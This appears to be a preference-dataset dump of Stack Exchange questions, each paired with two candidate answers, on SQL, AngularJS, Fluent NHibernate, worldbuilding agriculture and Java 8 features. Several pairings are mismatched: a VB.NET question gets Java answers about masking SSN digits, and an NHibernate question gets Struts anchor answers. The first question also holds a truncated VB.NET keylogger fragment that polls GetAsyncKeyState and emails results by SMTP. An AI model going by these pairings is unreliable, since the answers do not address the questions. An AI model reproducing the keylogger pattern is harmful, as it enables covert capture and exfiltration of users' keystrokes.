qid
int64
1
74.7M
question
stringlengths
0
58.3k
date
stringlengths
10
10
metadata
list
response_j
stringlengths
2
48.3k
response_k
stringlengths
2
40.5k
31,276,076
``` Option Strict On Imports System.Net.Mail Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick Try Dim smtpServer As New SmtpCli...
2015/07/07
[ "https://Stackoverflow.com/questions/31276076", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5090716/" ]
If you want to replace only the digits, try the following code: ``` public String replace(string ssn) { return ssn.replaceAll("[0-9]", "a"); } ``` The regular expression `[0-9]` defines which characters should be replaced (every "character" between 0 and 9, meaning: only digits).
You can't modify string, since it is immutable class. But you can create new string with replaced values. So * create `StringBuidler` * iterate over all characters of ssn (`toCharArray()` can be useful here) + if char is digit append `filter` to builder (`Character.isDigit(char)` comes to mind) + if char is `-` (or...
31,276,076
``` Option Strict On Imports System.Net.Mail Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick Try Dim smtpServer As New SmtpCli...
2015/07/07
[ "https://Stackoverflow.com/questions/31276076", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5090716/" ]
If you want to replace only the digits, try the following code: ``` public String replace(string ssn) { return ssn.replaceAll("[0-9]", "a"); } ``` The regular expression `[0-9]` defines which characters should be replaced (every "character" between 0 and 9, meaning: only digits).
To use regex with replaceAll(), you need to make your filter a String. As well, you need to return a String in your replace function. Try the following: ``` String filter = "a"; public String replace(String ssn) { return ssn.replaceAll("[0-9]",filter); } ```
31,276,076
``` Option Strict On Imports System.Net.Mail Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick Try Dim smtpServer As New SmtpCli...
2015/07/07
[ "https://Stackoverflow.com/questions/31276076", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5090716/" ]
To use regex with replaceAll(), you need to make your filter a String. As well, you need to return a String in your replace function. Try the following: ``` String filter = "a"; public String replace(String ssn) { return ssn.replaceAll("[0-9]",filter); } ```
You can't modify string, since it is immutable class. But you can create new string with replaced values. So * create `StringBuidler` * iterate over all characters of ssn (`toCharArray()` can be useful here) + if char is digit append `filter` to builder (`Character.isDigit(char)` comes to mind) + if char is `-` (or...
44,971,732
I have a view which calls a view component and passes a model called Konstant in the following way: ``` @foreach (Konstant item in Model) { <div class="tab-content"> <div id="@item.KANAL" class="tab-pane fade in"> @await Component.InvokeAsync("MeterReader2", new { k = item }) </div> ...
2017/07/07
[ "https://Stackoverflow.com/questions/44971732", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5820105/" ]
Use [`coalesce()`](https://www.postgresql.org/docs/current/static/functions-conditional.html#FUNCTIONS-COALESCE-NVL-IFNULL): ``` UPDATE accounts SET notifications = jsonb_set(coalesce(notifications, '{}'), '{"alerts"}', 'false') ``` or even simpler: ``` UPDATE accounts SET notifications = coalesce(notifications...
Note that some versions of Postgres have coalesce() functions that don't support jsonb, and will give an error like this when trying to use the accepted answer: ``` ERROR: function coalsece(jsonb, unknown) does not exist ``` You can work around that by using a case statement instead. Ugly, but it works. ``` UPDATE...
13,293,552
I'm trying to use R through SPSS syntax (I'm using SPSS 18 on windows 7) which requires installing a special plugin: PASWStatistics\_RPlugIn\_1802\_win32.exe. Also I had to install an older version of R(2.8.1 - required by my older version of SPSS - i like it better than the new ones). The plugin now works, R (both ver...
2012/11/08
[ "https://Stackoverflow.com/questions/13293552", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1737251/" ]
The following link specifies how you can configure Rstudio to work with a specific R version you have installed: <http://www.rstudio.com/ide/docs/advanced/versions_of_r> Just install R 2.8 and 2.14 and let spss use one, and Rstudio another. You are taking a risk by using old versions of spss and R (bugs that have b...
You can have multiple versions of R installed at the same time - I have five. The current version of Statistics, 21, goes with R2.14. I don't know how Rstudio determines which version to use. You might need to reset the R environment variables or your path settings.
36,279,966
I need to display Customer, Bill Date, Description and Vehicle from the following tables: CUSTOMER, BILLING, DELIVERY\_ITEMS, VEHICLE I do not understand the error that I get when I try to compile the code. Here's my code: ``` DECLARE FNAME VARCHAR2(20); SNAME VARCHAR2(20); BILLDATE DATE; DESCRIP VARCHAR2(...
2016/03/29
[ "https://Stackoverflow.com/questions/36279966", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5256947/" ]
You have a problem in ``` WHERE BILL_DATE ('10/NOV/16', 'DD/MM/YY')<DATE ``` Assuming that you have a date field in one of your tables (let's name it DATE\_FIELD), you can apply a condition (= for example) on it with: ``` WHERE DATE_FIELD = TO_DATE ('10/NOV/16', 'DD/MM/YY') ``` or, given that you have a variable...
Try `for loop` if your `select` statement returns more than one row ``` BEGIN for i in ( SELECT FIRST_NAME, SURNAME, BILL_DATE, DESCRIPTION, VEHICLE_TYPE FROM CUSTOMER, BILLING, DELIVERY_ITEMS, VEHICLE WHERE TO_DATE('10/NOV/16', 'DD/MM/YY') < BILL_DATE ) loop DBMS_OUTPUT.PUT_...
36,279,966
I need to display Customer, Bill Date, Description and Vehicle from the following tables: CUSTOMER, BILLING, DELIVERY\_ITEMS, VEHICLE I do not understand the error that I get when I try to compile the code. Here's my code: ``` DECLARE FNAME VARCHAR2(20); SNAME VARCHAR2(20); BILLDATE DATE; DESCRIP VARCHAR2(...
2016/03/29
[ "https://Stackoverflow.com/questions/36279966", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5256947/" ]
Very first question that has to be asked is are you expecting singular resultset or multi row resultset? If singular result set is expected then the WHERE condition has to be modifed as illustrated below ``` DECLARE FNAME VARCHAR2(20); SNAME VARCHAR2(20); BILLDATE DATE; DESCRIP VARCHAR2(50); VEH ...
Try `for loop` if your `select` statement returns more than one row ``` BEGIN for i in ( SELECT FIRST_NAME, SURNAME, BILL_DATE, DESCRIPTION, VEHICLE_TYPE FROM CUSTOMER, BILLING, DELIVERY_ITEMS, VEHICLE WHERE TO_DATE('10/NOV/16', 'DD/MM/YY') < BILL_DATE ) loop DBMS_OUTPUT.PUT_...
2,590,348
When solving an exercise I have made the following step where $\alpha,\beta \in \mathbb{F}$ and $A,B,T\in M\_{n\times n}$ $$(\alpha A+\beta B)T=\alpha AT+\beta BT$$ Then I recalled the distributivity is not a property of a vector space, I know that left/right distributivity hold for matrices multiplication. So there...
2018/01/03
[ "https://math.stackexchange.com/questions/2590348", "https://math.stackexchange.com", "https://math.stackexchange.com/users/103441/" ]
The algebraic structure formed by matrices under addition and multiplication is called a ring. Rings have distributive properties. If you want to explore structures with addition and multiplication but without distributive properties, perhaps check out [Ring without distributive law?](https://math.stackexchange.com/qu...
Assuming dimensions work out, look at what feeding a vector on both sides does, you will see that it is the same, maybe setting $Tv=w$, another vector, will make things clearer $$ (\alpha A+\beta B)Tv=(\alpha A+\beta B)w\stackrel{\text{linearity}}{=} \alpha Aw+\beta Bw\\ =\alpha ATv+\beta BTv\implies (\alpha A+\beta B)...
24,847,070
How to I invoke a function with the number 9 from this array? ``` var puzzlers = [ function ( a ) { return 8*a - 10; }, function ( a ) { return (a-3) * (a-3) * (a-3); }, function ( a ) { return a * a + 4; }, function ( a ) { return a % 5; } ]; ``` is this example correct? ``...
2014/07/20
[ "https://Stackoverflow.com/questions/24847070", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3843070/" ]
Correct!! `puzzlers[0]` will be `function ( a ) { return 8*a - 10; }` then you are invoking `function ( a ) { return 8*a - 10; }` with `9` as `a`.
You are right. It will call first function from the array with parameter 9. You can open [`this link`](http://jsfiddle.net/9HuBY/) and open the browser console and run the example to see the result.
24,847,070
How to I invoke a function with the number 9 from this array? ``` var puzzlers = [ function ( a ) { return 8*a - 10; }, function ( a ) { return (a-3) * (a-3) * (a-3); }, function ( a ) { return a * a + 4; }, function ( a ) { return a % 5; } ]; ``` is this example correct? ``...
2014/07/20
[ "https://Stackoverflow.com/questions/24847070", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3843070/" ]
Correct!! `puzzlers[0]` will be `function ( a ) { return 8*a - 10; }` then you are invoking `function ( a ) { return 8*a - 10; }` with `9` as `a`.
Your code is correct, however there is an alternative, where you only need one function, and you can use the java script switch. ``` function puzzlers(a,b){ var answer; switch(b){ case 1: answer = 8*a - 10; break; case 2: answ...
37,339,643
I have 2 arrays: cars & bikes. I want to compare each element of car array to all the other elements of bike array, If both are equal, then alert true else false. ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key)...
2016/05/20
[ "https://Stackoverflow.com/questions/37339643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5362369/" ]
try this : ``` $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; $scope.cars = ["1", "2", "3", "4", "54", "55", "56", "56", "58"]; angular.forEach($scope.bikes, function(bike) { angular.forEach($scope.cars, function(car) { if (bike == car) { alert(bike + "=" + car + "="...
Comparing **each** element of 1 array with **each** element of another array? 2 **each**'s means use 2 loops thats it.
37,339,643
I have 2 arrays: cars & bikes. I want to compare each element of car array to all the other elements of bike array, If both are equal, then alert true else false. ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key)...
2016/05/20
[ "https://Stackoverflow.com/questions/37339643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5362369/" ]
You can use `forEach` & `indexOf` array methods to find the match ``` var _firstArray = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; var _secondArray=["1", "2", "3", "4", "54", "55", "56", "56", "58"]; _firstArray.forEach(function(item){ if (_secondArray.indexOf(item) !==-1){ console.log(item) } els...
value argument of the `forEach()` method already represents the bike in the array as such, same goes for the car: You can change your code like this: ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key) { $scop...
37,339,643
I have 2 arrays: cars & bikes. I want to compare each element of car array to all the other elements of bike array, If both are equal, then alert true else false. ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key)...
2016/05/20
[ "https://Stackoverflow.com/questions/37339643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5362369/" ]
**Not working!** ``` var _firstArray = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; var _secondArray=["1", "2", "3", "4", "54", "55", "56", "56", "58"]; var areEqual = true; _firstArray.forEach(function(item) { if (!(item in _secondArray)) { areEqual = false; } }); console.log(areEqual); ``` ...
Hope this is what you're looking for jsFiddle link - <https://jsfiddle.net/U3pVM/25016/> . Replaced alert with console ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key) { $scope.p_Id = value; $scope.cars...
37,339,643
I have 2 arrays: cars & bikes. I want to compare each element of car array to all the other elements of bike array, If both are equal, then alert true else false. ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key)...
2016/05/20
[ "https://Stackoverflow.com/questions/37339643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5362369/" ]
**Not working!** ``` var _firstArray = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; var _secondArray=["1", "2", "3", "4", "54", "55", "56", "56", "58"]; var areEqual = true; _firstArray.forEach(function(item) { if (!(item in _secondArray)) { areEqual = false; } }); console.log(areEqual); ``` ...
value argument of the `forEach()` method already represents the bike in the array as such, same goes for the car: You can change your code like this: ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key) { $scop...
37,339,643
I have 2 arrays: cars & bikes. I want to compare each element of car array to all the other elements of bike array, If both are equal, then alert true else false. ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key)...
2016/05/20
[ "https://Stackoverflow.com/questions/37339643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5362369/" ]
try this : ``` $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; $scope.cars = ["1", "2", "3", "4", "54", "55", "56", "56", "58"]; angular.forEach($scope.bikes, function(bike) { angular.forEach($scope.cars, function(car) { if (bike == car) { alert(bike + "=" + car + "="...
There were some issue with your code, try below code and should work perfectly: ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key) { $sco...
37,339,643
I have 2 arrays: cars & bikes. I want to compare each element of car array to all the other elements of bike array, If both are equal, then alert true else false. ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key)...
2016/05/20
[ "https://Stackoverflow.com/questions/37339643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5362369/" ]
You can use `forEach` & `indexOf` array methods to find the match ``` var _firstArray = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; var _secondArray=["1", "2", "3", "4", "54", "55", "56", "56", "58"]; _firstArray.forEach(function(item){ if (_secondArray.indexOf(item) !==-1){ console.log(item) } els...
There were some issue with your code, try below code and should work perfectly: ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key) { $sco...
37,339,643
I have 2 arrays: cars & bikes. I want to compare each element of car array to all the other elements of bike array, If both are equal, then alert true else false. ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key)...
2016/05/20
[ "https://Stackoverflow.com/questions/37339643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5362369/" ]
try this : ``` $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; $scope.cars = ["1", "2", "3", "4", "54", "55", "56", "56", "58"]; angular.forEach($scope.bikes, function(bike) { angular.forEach($scope.cars, function(car) { if (bike == car) { alert(bike + "=" + car + "="...
Hope this is what you're looking for jsFiddle link - <https://jsfiddle.net/U3pVM/25016/> . Replaced alert with console ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key) { $scope.p_Id = value; $scope.cars...
37,339,643
I have 2 arrays: cars & bikes. I want to compare each element of car array to all the other elements of bike array, If both are equal, then alert true else false. ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key)...
2016/05/20
[ "https://Stackoverflow.com/questions/37339643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5362369/" ]
**Not working!** ``` var _firstArray = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; var _secondArray=["1", "2", "3", "4", "54", "55", "56", "56", "58"]; var areEqual = true; _firstArray.forEach(function(item) { if (!(item in _secondArray)) { areEqual = false; } }); console.log(areEqual); ``` ...
You can use `forEach` & `indexOf` array methods to find the match ``` var _firstArray = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; var _secondArray=["1", "2", "3", "4", "54", "55", "56", "56", "58"]; _firstArray.forEach(function(item){ if (_secondArray.indexOf(item) !==-1){ console.log(item) } els...
37,339,643
I have 2 arrays: cars & bikes. I want to compare each element of car array to all the other elements of bike array, If both are equal, then alert true else false. ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key)...
2016/05/20
[ "https://Stackoverflow.com/questions/37339643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5362369/" ]
You can use `forEach` & `indexOf` array methods to find the match ``` var _firstArray = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; var _secondArray=["1", "2", "3", "4", "54", "55", "56", "56", "58"]; _firstArray.forEach(function(item){ if (_secondArray.indexOf(item) !==-1){ console.log(item) } els...
Hope this is what you're looking for jsFiddle link - <https://jsfiddle.net/U3pVM/25016/> . Replaced alert with console ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key) { $scope.p_Id = value; $scope.cars...
37,339,643
I have 2 arrays: cars & bikes. I want to compare each element of car array to all the other elements of bike array, If both are equal, then alert true else false. ``` $scope.getComparison = function() { $scope.bikes = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; angular.forEach($scope.bikes, function(value, key)...
2016/05/20
[ "https://Stackoverflow.com/questions/37339643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5362369/" ]
**Not working!** ``` var _firstArray = ["1", "3", "3", "2", "6", "55", "45", "36", "18"]; var _secondArray=["1", "2", "3", "4", "54", "55", "56", "56", "58"]; var areEqual = true; _firstArray.forEach(function(item) { if (!(item in _secondArray)) { areEqual = false; } }); console.log(areEqual); ``` ...
Comparing **each** element of 1 array with **each** element of another array? 2 **each**'s means use 2 loops thats it.
2,431,095
When mapping a HasMany or HasManyToMany in fluent nhibernate, you can specify the column name to use for the list as a parameter to the AsList() method as follows: ``` HasMany(c => c.Customers) .AsList(c => c.Column("PositionIndex")); ``` I would prefer to be able to set this using a Fluent NHibernate convention...
2010/03/12
[ "https://Stackoverflow.com/questions/2431095", "https://Stackoverflow.com", "https://Stackoverflow.com/users/213555/" ]
For anchor using struts tag use this ``` <s:url id="url" action="dummyAction"> <s:param name="parameterName"><s:property value="parameterValue"/></s:param> </s:url> <s:a href="%{url}">Click here</s:a> ```
I'd suggest just doing a javascript:form.submit() inside your anchor tag href
2,431,095
When mapping a HasMany or HasManyToMany in fluent nhibernate, you can specify the column name to use for the list as a parameter to the AsList() method as follows: ``` HasMany(c => c.Customers) .AsList(c => c.Column("PositionIndex")); ``` I would prefer to be able to set this using a Fluent NHibernate convention...
2010/03/12
[ "https://Stackoverflow.com/questions/2431095", "https://Stackoverflow.com", "https://Stackoverflow.com/users/213555/" ]
I ran into this same issue. My solution was to submit the form data using the jQuery serialize method to append the form data tho the href of the anchor tag. ``` <s:url var="urlFkey" namespace="%{namespace}" action="GotoAddForeignKeyRecord" escapeAmp="false" > <s:param name="target" >disp${fieldName}</s:param> <s:...
I'd suggest just doing a javascript:form.submit() inside your anchor tag href
102,502
Background ========== There is a world with flora and fauna based on the life forms that evolved on Gondwana (see [here](https://worldbuilding.stackexchange.com/questions/78673/how-can-i-have-a-caravan-without-camels) for previous questions). Humans colonized this continent from a distant one some thousands of years a...
2018/01/17
[ "https://worldbuilding.stackexchange.com/questions/102502", "https://worldbuilding.stackexchange.com", "https://worldbuilding.stackexchange.com/users/23519/" ]
Use [chicken manure](https://en.wikipedia.org/wiki/Chicken_manure). ------------------------------------------------------------------- Other animals, besides livestock, also produce good manure, with different qualities. Now, not all manures are created equal; they differ in composition, volume, and production rate. ...
While the other answers are good, I think you should consider taking another look at a few things. **Compost** [Here are some facts from the USDA.](https://www.ams.usda.gov/sites/default/files/media/Compost_FINAL.pdf) The takeaway is that primary composting can finish much more rapidly than a year, and the applicatio...
102,502
Background ========== There is a world with flora and fauna based on the life forms that evolved on Gondwana (see [here](https://worldbuilding.stackexchange.com/questions/78673/how-can-i-have-a-caravan-without-camels) for previous questions). Humans colonized this continent from a distant one some thousands of years a...
2018/01/17
[ "https://worldbuilding.stackexchange.com/questions/102502", "https://worldbuilding.stackexchange.com", "https://worldbuilding.stackexchange.com/users/23519/" ]
Use bat [guano](https://en.wikipedia.org/wiki/Guano). ===================================================== In a tropical civilization with no domesticated animals, bat dung may be your best option. Bats tend to naturally gather in large numbers and can create [huge piles of waste](https://www.youtube.com/watch?v=9qjT...
While the other answers are good, I think you should consider taking another look at a few things. **Compost** [Here are some facts from the USDA.](https://www.ams.usda.gov/sites/default/files/media/Compost_FINAL.pdf) The takeaway is that primary composting can finish much more rapidly than a year, and the applicatio...
102,502
Background ========== There is a world with flora and fauna based on the life forms that evolved on Gondwana (see [here](https://worldbuilding.stackexchange.com/questions/78673/how-can-i-have-a-caravan-without-camels) for previous questions). Humans colonized this continent from a distant one some thousands of years a...
2018/01/17
[ "https://worldbuilding.stackexchange.com/questions/102502", "https://worldbuilding.stackexchange.com", "https://worldbuilding.stackexchange.com/users/23519/" ]
**Earthworms.** The earthworms native to Europe are phenomenal recyclers of plant detritus. For agriculture they are an unalloyed boon. For forests, not so much. You can read about how well invasive earthworm populations recycle plant matter in accounts of ecosystems accustomed to accumulations of that plant matter - ...
Organic waste be it fruits , dead animals or the like put it/them inside a basket(ofc as big as you need) throw in some worms let them digest everything pop out your fertilizer on the other end (and bones if you threw in dead animals). Alternatively you can use insects that won't damage your crops, for example cockroa...
102,502
Background ========== There is a world with flora and fauna based on the life forms that evolved on Gondwana (see [here](https://worldbuilding.stackexchange.com/questions/78673/how-can-i-have-a-caravan-without-camels) for previous questions). Humans colonized this continent from a distant one some thousands of years a...
2018/01/17
[ "https://worldbuilding.stackexchange.com/questions/102502", "https://worldbuilding.stackexchange.com", "https://worldbuilding.stackexchange.com/users/23519/" ]
Do it yourself -------------- [Night soil](https://en.wikipedia.org/wiki/Night_soil) has been a traditional component of farming worldwide for as long as records exist. Using human faeces as fertiliser does have downsides, of course. If the people moving the stuff aren't scrupulous about hygiene, they will pick up an...
Organic waste be it fruits , dead animals or the like put it/them inside a basket(ofc as big as you need) throw in some worms let them digest everything pop out your fertilizer on the other end (and bones if you threw in dead animals). Alternatively you can use insects that won't damage your crops, for example cockroa...
102,502
Background ========== There is a world with flora and fauna based on the life forms that evolved on Gondwana (see [here](https://worldbuilding.stackexchange.com/questions/78673/how-can-i-have-a-caravan-without-camels) for previous questions). Humans colonized this continent from a distant one some thousands of years a...
2018/01/17
[ "https://worldbuilding.stackexchange.com/questions/102502", "https://worldbuilding.stackexchange.com", "https://worldbuilding.stackexchange.com/users/23519/" ]
No draft animals. Ug. Seriously subsistent agriculture if done conventionally. Thinking outside of the box, you need to slow down the leaching of the soil. * Terra preta <https://en.wikipedia.org/wiki/Terra_preta> soil with bone, manure and charcoal. The charcoal binds nutrients. * Low till. Farmers are now getting i...
Organic waste be it fruits , dead animals or the like put it/them inside a basket(ofc as big as you need) throw in some worms let them digest everything pop out your fertilizer on the other end (and bones if you threw in dead animals). Alternatively you can use insects that won't damage your crops, for example cockroa...
102,502
Background ========== There is a world with flora and fauna based on the life forms that evolved on Gondwana (see [here](https://worldbuilding.stackexchange.com/questions/78673/how-can-i-have-a-caravan-without-camels) for previous questions). Humans colonized this continent from a distant one some thousands of years a...
2018/01/17
[ "https://worldbuilding.stackexchange.com/questions/102502", "https://worldbuilding.stackexchange.com", "https://worldbuilding.stackexchange.com/users/23519/" ]
While the other answers are good, I think you should consider taking another look at a few things. **Compost** [Here are some facts from the USDA.](https://www.ams.usda.gov/sites/default/files/media/Compost_FINAL.pdf) The takeaway is that primary composting can finish much more rapidly than a year, and the applicatio...
Organic waste be it fruits , dead animals or the like put it/them inside a basket(ofc as big as you need) throw in some worms let them digest everything pop out your fertilizer on the other end (and bones if you threw in dead animals). Alternatively you can use insects that won't damage your crops, for example cockroa...
102,502
Background ========== There is a world with flora and fauna based on the life forms that evolved on Gondwana (see [here](https://worldbuilding.stackexchange.com/questions/78673/how-can-i-have-a-caravan-without-camels) for previous questions). Humans colonized this continent from a distant one some thousands of years a...
2018/01/17
[ "https://worldbuilding.stackexchange.com/questions/102502", "https://worldbuilding.stackexchange.com", "https://worldbuilding.stackexchange.com/users/23519/" ]
No draft animals. Ug. Seriously subsistent agriculture if done conventionally. Thinking outside of the box, you need to slow down the leaching of the soil. * Terra preta <https://en.wikipedia.org/wiki/Terra_preta> soil with bone, manure and charcoal. The charcoal binds nutrients. * Low till. Farmers are now getting i...
Do it yourself -------------- [Night soil](https://en.wikipedia.org/wiki/Night_soil) has been a traditional component of farming worldwide for as long as records exist. Using human faeces as fertiliser does have downsides, of course. If the people moving the stuff aren't scrupulous about hygiene, they will pick up an...
102,502
Background ========== There is a world with flora and fauna based on the life forms that evolved on Gondwana (see [here](https://worldbuilding.stackexchange.com/questions/78673/how-can-i-have-a-caravan-without-camels) for previous questions). Humans colonized this continent from a distant one some thousands of years a...
2018/01/17
[ "https://worldbuilding.stackexchange.com/questions/102502", "https://worldbuilding.stackexchange.com", "https://worldbuilding.stackexchange.com/users/23519/" ]
Use [chicken manure](https://en.wikipedia.org/wiki/Chicken_manure). ------------------------------------------------------------------- Other animals, besides livestock, also produce good manure, with different qualities. Now, not all manures are created equal; they differ in composition, volume, and production rate. ...
No draft animals. Ug. Seriously subsistent agriculture if done conventionally. Thinking outside of the box, you need to slow down the leaching of the soil. * Terra preta <https://en.wikipedia.org/wiki/Terra_preta> soil with bone, manure and charcoal. The charcoal binds nutrients. * Low till. Farmers are now getting i...
102,502
Background ========== There is a world with flora and fauna based on the life forms that evolved on Gondwana (see [here](https://worldbuilding.stackexchange.com/questions/78673/how-can-i-have-a-caravan-without-camels) for previous questions). Humans colonized this continent from a distant one some thousands of years a...
2018/01/17
[ "https://worldbuilding.stackexchange.com/questions/102502", "https://worldbuilding.stackexchange.com", "https://worldbuilding.stackexchange.com/users/23519/" ]
**Earthworms.** The earthworms native to Europe are phenomenal recyclers of plant detritus. For agriculture they are an unalloyed boon. For forests, not so much. You can read about how well invasive earthworm populations recycle plant matter in accounts of ecosystems accustomed to accumulations of that plant matter - ...
While the other answers are good, I think you should consider taking another look at a few things. **Compost** [Here are some facts from the USDA.](https://www.ams.usda.gov/sites/default/files/media/Compost_FINAL.pdf) The takeaway is that primary composting can finish much more rapidly than a year, and the applicatio...
102,502
Background ========== There is a world with flora and fauna based on the life forms that evolved on Gondwana (see [here](https://worldbuilding.stackexchange.com/questions/78673/how-can-i-have-a-caravan-without-camels) for previous questions). Humans colonized this continent from a distant one some thousands of years a...
2018/01/17
[ "https://worldbuilding.stackexchange.com/questions/102502", "https://worldbuilding.stackexchange.com", "https://worldbuilding.stackexchange.com/users/23519/" ]
Use [chicken manure](https://en.wikipedia.org/wiki/Chicken_manure). ------------------------------------------------------------------- Other animals, besides livestock, also produce good manure, with different qualities. Now, not all manures are created equal; they differ in composition, volume, and production rate. ...
**Earthworms.** The earthworms native to Europe are phenomenal recyclers of plant detritus. For agriculture they are an unalloyed boon. For forests, not so much. You can read about how well invasive earthworm populations recycle plant matter in accounts of ecosystems accustomed to accumulations of that plant matter - ...
7,094,447
I've always been taught that using exceptions in programming allowed for error handling to be abstracted from the objects that throw the errors. Looking at the [PHP manual](http://www.php.net/manual/en/reserved.exceptions.php), it seems that PHP has an Exception class and an ErrorException class, indicating that not al...
2011/08/17
[ "https://Stackoverflow.com/questions/7094447", "https://Stackoverflow.com", "https://Stackoverflow.com/users/462803/" ]
I've been playing around with this myself too. I'll share my thoughts on the matter. Rationale ========= Q: Why would someone use exceptions to redirect at all, when you can do it just as easy using a `header` and `die` statement? A: RFC2616 has this to say about redirecting with status code 301: > > Unless the re...
The first method is the best of the 3 methods. The post made by Marc B has a very valid point but you might already have solution for this not mentioned in the code. * Always die() after redirecting. * Using the message of an exception to hold the URL is not very OOP. If you want to use exceptions you should make a cu...
187,445
I'll be specific: Java 8 is promised to bring lambda expressions as well as method and constructor references among other things. As a Java developer I'm super psyched about that. In my day to day programming I see more and more opportunities where using these features would greatly simplify code that would otherwise ...
2013/02/18
[ "https://softwareengineering.stackexchange.com/questions/187445", "https://softwareengineering.stackexchange.com", "https://softwareengineering.stackexchange.com/users/57674/" ]
Don't fall for the chant of sirens. Their song talks about new features and performance improvements, but all you get by listening to that, is a neverending stream of pain, delays, procrastination, and deployment woes. Write for what ***exists***. The rest is mere speculation.
I think the answer to this question most likely depends upon the situation in particular which you're dealing with. In terms of "day to day programming," does this consist of your job? Hobbyist/personal work, perhaps? If it's the latter, I don't necessarily think it to be a poor idea to look ahead in regards to refacto...
187,445
I'll be specific: Java 8 is promised to bring lambda expressions as well as method and constructor references among other things. As a Java developer I'm super psyched about that. In my day to day programming I see more and more opportunities where using these features would greatly simplify code that would otherwise ...
2013/02/18
[ "https://softwareengineering.stackexchange.com/questions/187445", "https://softwareengineering.stackexchange.com", "https://softwareengineering.stackexchange.com/users/57674/" ]
Don't fall for the chant of sirens. Their song talks about new features and performance improvements, but all you get by listening to that, is a neverending stream of pain, delays, procrastination, and deployment woes. Write for what ***exists***. The rest is mere speculation.
I agree with @ZJR's answer, but if you want to go ahead you can probably encapsulate this into a `MethodReference` class of some sort. With luck you might be able to gain type safety by juggling just one place when Java 8 comes along. Boost basically does this before C++11. Certain features closely resembles the propo...
187,445
I'll be specific: Java 8 is promised to bring lambda expressions as well as method and constructor references among other things. As a Java developer I'm super psyched about that. In my day to day programming I see more and more opportunities where using these features would greatly simplify code that would otherwise ...
2013/02/18
[ "https://softwareengineering.stackexchange.com/questions/187445", "https://softwareengineering.stackexchange.com", "https://softwareengineering.stackexchange.com/users/57674/" ]
Don't fall for the chant of sirens. Their song talks about new features and performance improvements, but all you get by listening to that, is a neverending stream of pain, delays, procrastination, and deployment woes. Write for what ***exists***. The rest is mere speculation.
